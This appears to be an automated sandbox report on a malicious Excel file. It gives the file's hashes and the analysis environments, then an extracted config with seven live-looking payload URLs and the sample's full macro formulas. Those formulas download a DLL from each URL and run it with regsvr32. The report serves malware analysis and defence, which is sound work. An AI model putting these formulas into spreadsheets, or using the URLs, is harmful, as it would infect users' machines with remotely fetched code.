Static task
static1
Behavioral task
behavioral1
Sample
5749c74fdfc861e23120b42736b232b37c16791ede168474848ce8a5d710facf.xlsx
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
5749c74fdfc861e23120b42736b232b37c16791ede168474848ce8a5d710facf.xlsx
Resource
win10v2004-20240802-en
General
-
Target
5749c74fdfc861e23120b42736b232b37c16791ede168474848ce8a5d710facf
-
Size
46KB
-
MD5
57bb8ab09c6e036a9c01314a23a09ff7
-
SHA1
7317ae93d618ce6d17c4fa2fc9b550adeb718040
-
SHA256
5749c74fdfc861e23120b42736b232b37c16791ede168474848ce8a5d710facf
-
SHA512
eee6bc821509609b3d7a24aaae2acadbe925f5c357023893249697e924e1e7f899b83ce7f84072dc07ed6338f0d4252f34272b083680bb815581a902f5415c48
-
SSDEEP
768:JCKan01tkBUjqBpFViBYYg8z/cZ2IQYRAvYUbTUPMr7nIIbwPvvfOa6roBb39Rfy:EKa01t2UG3iBC8z/XYCpK60Ibwv3OHko
Malware Config
Extracted
http://www.arkpp.com/ARIS-BSU/9K1/
http://www.avrworks.com/mail/0Z4GbaKuDTGprJ/
http://www.babylinesl.com/catalog/iVsl6YvlyIyX/
https://physioacademy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/
https://unada.us/acme-challenge/3NXwcYNCa/
https://automobile-facile.fr/wp-admin/QV/
https://alebit.de/css/gqKtdKmTsC4iDh/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.arkpp.com/ARIS-BSU/9K1/","..\fbd.dll",0,0) =IF('EGVEB'!D9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.avrworks.com/mail/0Z4GbaKuDTGprJ/","..\fbd.dll",0,0)) =IF('EGVEB'!D11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.babylinesl.com/catalog/iVsl6YvlyIyX/","..\fbd.dll",0,0)) =IF('EGVEB'!D13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://physioacademy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/","..\fbd.dll",0,0)) =IF('EGVEB'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://unada.us/acme-challenge/3NXwcYNCa/","..\fbd.dll",0,0)) =IF('EGVEB'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://automobile-facile.fr/wp-admin/QV/","..\fbd.dll",0,0)) =IF('EGVEB'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alebit.de/css/gqKtdKmTsC4iDh/","..\fbd.dll",0,0)) =IF('EGVEB'!D21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\fbd.dll") =RETURN()
Signatures
Files
-
5749c74fdfc861e23120b42736b232b37c16791ede168474848ce8a5d710facf.xlsx office2007